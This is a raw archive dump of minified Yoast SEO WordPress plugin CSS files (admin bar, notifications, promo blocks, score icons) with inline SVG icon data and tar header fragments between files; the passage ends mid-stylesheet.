img{float:left;height:100px;margin-bottom:.8rem;width:100px}@media screen and (max-width:900px){.yoast-promo-extension img{display:none}}.yoast-promo-extension .yoast-button-container{margin-top:auto}.yoast-promo-extension .yoast-button-container div.yoast-button--extension{cursor:default}.yoast-promo-extension .yoast-button{font-size:.9rem;max-height:none;width:100%}.yoast-promo-extension .yoast-button--installed{color:#fff}.yoast-promo-extension .yoast-button--extension{font-size:.9rem;margin-top:0;text-align:center}.yoast-promo-extension .yoast-button--extension-installed{margin:0 0 0 2%;width:48%}.yoast-promo-extension .yoast-button--extension-activated,.yoast-promo-extension .yoast-button--extension-not-activated{margin-right:0;margin-left:0;width:48%}.yoast-promo-extension .yoast-button-upsell{width:100%}.yoast-promo-extension h3{color:#a4286a}@media screen and (max-width:900px){.yoast-promo-extension{max-width:none;width:100%}}.yoast-seo-premium-extension-sale-badge{margin-top:-30px}.yoast-seo-premium-extension-sale-badge span{background:#1f2937;border-radius:14px;color:#fcd34d;font-size:14px;font-weight:600;padding:6px 12px}.yoast-seo-premium-extension{background:#fff;border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin:2em .5em 1.5em;max-width:712px;padding:16px}.yoast-seo-premium-extension h2{color:#a61e69;display:flex;font-size:1.5rem;justify-content:space-between;margin-top:16px}.yoast-seo-premium-extension img{margin-right:1rem}@media screen and (max-width:900px){.yoast-seo-premium-extension{max-width:none;width:calc(100% - 8px)}.yoast-seo-premium-extension img{display:none}}.yoast-seo-premium-extension:after,.yoast-seo-premium-extension:before{content:"";display:table}.yoast-seo-premium-extension:after{clear:both}.yoast-seo-premium-benefits__item{font-size:.9rem;font-weight:400;line-height:24px;margin-bottom:8px}.yoast-seo-premium-benefits__item span{color:#404040}.yoast-seo-premium-benefits__title{font-size:.9rem;font-weight:700;line-height:24px}.yoast-seo-premium-benefits__description{font-size:.9rem;font-weight:400;line-height:24px}.yoast-link--license,.yoast-link--more-info{color:#a4286a;font-weight:600}.yoast-link--license{margin:1em 0 0}.yoast-promo-extension .yoast-link--license{display:block;margin:1em 0 0}.yoast-link--license:after{content:" \00BB"}.yoast-link--more-info{background:var(--yoast-svg-icon-info);background-position:100%;background-repeat:no-repeat;background-size:1em;padding-right:calc(1em + 5px)}.yoast-link--more-info:after{content:" \00BB"}.yoast-promo-extension .yoast-link--more-info{background-position:100%;display:block;margin:0}.yoast-heading-highlight{color:#a4286a;font-weight:600}.yoast-money-back-guarantee{font-size:1.1em;font-style:italic}.yoast-license-status-active{background:#008a00;color:#fff;padding:3px 6px}.yoast-license-status-inactive{background:#dc3232;color:#fff;padding:3px 6px}.yoast-promoblock.secondary.yoast-promo-extension .yoast-button-container .yoast-subscription-discount{color:#64748b;font-size:12px;margin-bottom:8px;margin-top:-8px;text-align:center}wordpress-seo/css/dist/wpseo-dismissible-2420-rtl.css000064400000001352147510273070016462 0ustar00.yoast-notice-dismiss:before{-webkit-font-smoothing:antialiased!important;speak:none;background:none;color:#b4b9be;content:"\f153";display:block!important;font:normal 16px/1 dashicons;height:20px;text-align:center;width:20px}.yoast-notice-dismiss{background:none;border:none;color:#b4b9be;cursor:pointer;margin:0;padding:9px;position:absolute;left:1px;top:0}.yoast-notice-dismiss:before{right:0;line-height:20px;position:relative;top:0}.yoast-notice-dismiss:active:before,.yoast-notice-dismiss:focus:before,.yoast-notice-dismiss:hover:before{color:#c00}.yoast-notice-dismiss:focus{box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc;color:#c00;outline:none}.yoast-notice.is-dismissible{position:relative}.yoast-notice-dismiss{text-decoration:none}wordpress-seo/css/dist/score_icon-2420-rtl.css000064400000000634147510273070015145 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 3px 0 10px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}wordpress-seo/css/dist/notifications-2420-rtl.css000064400000026202147510273070015672 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.screen-reader-text{clip:rect(1px,1px,1px,1px);word-wrap:normal!important;border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;overflow:hidden;padding:0;position:absolute!important;width:1px}.yoast-notification{background:#fff;border-right:4px solid #fff;box-shadow:0 1px 2px #0003;padding:0 12px}.yoast-container{background-color:#fdfdfd;border:1px solid #e5e5e5;box-shadow:0 1px 1px #0000000a;margin:20px 0 1px;max-width:1280px;padding:20px 20px 0;position:relative}.yoast-notifications>h2:first-child{font-size:23px;font-weight:400;line-height:29px;margin:0;padding:9px 0 4px}.yoast-notifications .yoast-container h3{background-color:#fdfdfd;border-bottom:1px solid #ccc;font-size:1.4em;margin:-20px -20px 0;padding:1em}.yoast-container .container{max-width:980px}.yoast-container .yoast-notification-holder{display:flex;position:relative}.dismiss .dashicons,.restore .dashicons{font-size:20px;height:20px;width:20px}.yoast-bottom-spacing{margin-bottom:20px}.yoast-notifications .button.dismiss,.yoast-notifications .button.restore{background:#0000;border:none;border-radius:0;box-shadow:none;cursor:pointer;height:100%;line-height:inherit;outline:none;padding:0;position:absolute;left:0;width:52px}.yoast-notifications .button.dismiss:focus,.yoast-notifications .button.dismiss:hover,.yoast-notifications .button.restore:focus,.yoast-notifications .button.restore:hover{background:#0000}.yoast-notifications .button.dismiss:focus:before,.yoast-notifications .button.restore:focus:before{border-radius:50%;box-shadow:0 0 0 1px #007cba;content:"";display:block;height:32px;right:50%;outline:2px solid #0000;position:absolute;top:50%;transform:translate(50%,-50%);width:32px}.yoast-container .separator{border-top:1px solid #ddd;margin-bottom:1em;margin-top:1em}.yoast-container .dashicons-yes{color:#77b227}.yoast-container-disabled{background-color:#e8e8e8b3;border-radius:4px;bottom:0;display:table-cell;right:0;position:absolute;left:0;top:0}.yoast-no-issues{color:#666;padding:1em 16px 1em 1em}.yoast-muted-title{font-style:italic;font-weight:600;overflow:hidden}.yoast-muted-title:after{border-top:1px solid #ddd;content:"";display:inline-block;height:.5em;margin-right:10px;margin-left:-100%;vertical-align:bottom;width:100%}.yoast-notifications-active .yoast-notification,.yoast-notifications-dismissed .yoast-notification{flex:1;padding-left:52px}.yoast-notifications-active .yoast-notification-holder{margin-bottom:20px}.yoast-notifications-dismissed.paper.tab-block{margin:20px 0}.yoast-notifications-dismissed.paper.tab-block .paper-container.toggleable-container{padding:0}.yoast-notifications-dismissed.paper.tab-block .paper-container.toggleable-container .yoast-notification-holder:nth-child(odd){background-color:#f7f7f7}.yoast-notifications-dismissed.paper.tab-block .paper-container.toggleable-container .yoast-notification-holder:nth-child(odd) .yoast-notification{background-color:initial}.yoast-notifications-dismissed .yoast-svg-icon-eye{background:#0000 var(--yoast-svg-icon-eye) no-repeat 100% 0;background-size:20px}#yoast-errors-header .dashicons{color:#dc3232}#yoast-errors-active .yoast-notification{border-right-color:#dc3232}#yoast-errors-dismissed .yoast-notification{border-right-color:#d93f69}#yoast-warnings-header .dashicons{color:#5d237a}#yoast-warnings-active .yoast-notification{border-right-color:#5d237a}#yoast-warnings-dismissed .yoast-notification{border-right-color:#0075b3}wordpress-seo/css/dist/inside-editor-2420.css000064400000000152147510273070014755 0ustar00.yoast-text-mark{background-color:#e1bee7}.yoast-text-mark__highlight{background-color:#4a148c;color:#fff}wordpress-seo/css/dist/adminbar-2420-rtl.css000064400000010147147510273070014577 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 3px 0 10px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}#wp-admin-bar-wpseo-menu .wpseo-score-icon{margin:10px 4px 0 0!important}#wp-admin-bar-wpseo-menu .wpseo-score-icon.adminbar-sub-menu-score{margin:11px 4px 0 0!important}#wp-admin-bar-wpseo-menu-default .ab-item{line-height:2.46153846!important}#wp-admin-bar-wpseo-menu .ab-submenu{margin-bottom:5px}#wpadminbar .quicklinks #wp-admin-bar-wpseo-menu #wp-admin-bar-wpseo-menu-default li#wp-admin-bar-wpseo-get-premium a{color:#fff!important;font-weight:700!important}#wpadminbar .quicklinks #wp-admin-bar-wpseo-menu #wp-admin-bar-wpseo-menu-default li#wp-admin-bar-wpseo-get-premium span{background:#1f2937;border:1px solid #fcd34d;border-radius:14px;color:#fcd34d;font-size:13px;font-weight:600;padding:1px 4px}#wpadminbar .yoast-menu-bf-sale-badge{text-wrap:nowrap;background-color:#1f2937;border:1px solid #fcd34d;border-radius:8px;color:#fcd34d;font-size:10px;font-weight:600;line-height:normal;margin-right:5px;padding:2px 8px}#wpadminbar .quicklinks #wp-admin-bar-wpseo-menu .wpseo-focus-keyword{display:inline-block!important;max-width:100px!important;overflow:hidden;text-overflow:ellipsis!important;vertical-align:bottom;white-space:nowrap}#wpadminbar .yoast-badge{border-radius:8px;display:inline-block;font-weight:600;line-height:1.6;margin-right:4px;padding:0 8px}#wpadminbar .yoast-beta-badge{background-color:#cce5ff;color:#004973}#wpadminbar .yoast-premium-badge{background-color:#fff3cd;color:#674e00}#wpadminbar .yoast-issue-added,#wpadminbar .yoast-issue-added:hover{background-color:#a4286a;border-radius:10px 0 10px 10px;box-shadow:-1px 1px 1px 1px grey;color:#fff;right:0;padding:2px 12px;position:absolute;top:32px;white-space:nowrap}#wpadminbar .yoast-issue-added{display:none}#wpadminbar .yoast-issue-counter{background-color:#d63638;border-radius:9px;color:#fff;display:inline;padding:1px 6px 1px 7px!important}#wpadminbar .yoast-logo.svg{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbDpzcGFjZT0icHJlc2VydmUiIHN0eWxlPSJmaWxsOiM4Mjg3OGMiIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjAzLjYgMzk1YzYuOC0xNy40IDYuOC0zNi42IDAtNTRsLTc5LjQtMjA0aDcwLjlsNDcuNyAxNDkuNCA3NC44LTIwNy42SDExNi40Yy00MS44IDAtNzYgMzQuMi03NiA3NlYzNTdjMCA0MS44IDM0LjIgNzYgNzYgNzZIMTczYzE2LTguOSAyNC42LTIyLjcgMzAuNi0zOHpNNDcxLjYgMTU0LjhjMC00MS44LTM0LjItNzYtNzYtNzZoLTNMMjg1LjcgMzY1Yy05LjYgMjYuNy0xOS40IDQ5LjMtMzAuMyA2OGgyMTYuMlYxNTQuOHoiLz48cGF0aCBkPSJtMzM4IDEuMy05My4zIDI1OS4xLTQyLjEtMTMxLjloLTg5LjFsODMuOCAyMTUuMmM2IDE1LjUgNiAzMi41IDAgNDgtNy40IDE5LTE5IDM3LjMtNTMgNDEuOWwtNy4yIDF2NzZoOC4zYzgxLjcgMCAxMTguOS01Ny4yIDE0OS42LTE0Mi45TDQzMS42IDEuM0gzMzh6TTI3OS40IDM2MmMtMzIuOSA5Mi02Ny42IDEyOC43LTEyNS43IDEzMS44di00NWMzNy41LTcuNSA1MS4zLTMxIDU5LjEtNTEuMSA3LjUtMTkuMyA3LjUtNDAuNyAwLTYwbC03NS0xOTIuN2g1Mi44bDUzLjMgMTY2LjggMTA1LjktMjk0aDU4LjFMMjc5LjQgMzYyeiIvPjwvc3ZnPg==");background-position:100% 6px;background-repeat:no-repeat;background-size:20px;float:right;height:30px;width:26px}#wpadminbar #wp-admin-bar-wpseo-licenses .ab-item{color:#f18500}#wpadminbar .wpseo-no-adminbar-notifications{display:none}@media screen and (max-width:782px){#wp-admin-bar-wpseo-menu .wpseo-score-icon{margin:16px 2px 0 10px!important}#wpadminbar #wp-admin-bar-wpseo-menu{display:block;position:static}#wpadminbar .yoast-logo.svg{background-position:50% 8px;background-size:30px;height:46px;width:52px}#wpadminbar .yoast-logo+.yoast-issue-counter{margin-right:-5px;margin-left:10px}#wpadminbar .ab-sub-wrapper .yoast-issue-counter{position:relative;top:-5px;vertical-align:text-top}#wpadminbar .yoast-issue-added,#wpadminbar .yoast-issue-added:hover{line-height:1.8;top:46px;white-space:normal}#wp-admin-bar-wpseo-menu.menupop .ab-sub-wrapper #wp-admin-bar-wpseo-kwresearch,#wp-admin-bar-wpseo-menu.menupop .ab-sub-wrapper #wp-admin-bar-wpseo-settings{display:none}}wordpress-seo/css/dist/yst_plugin_tools-2420-rtl.css000064400000060051147510273070016436 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 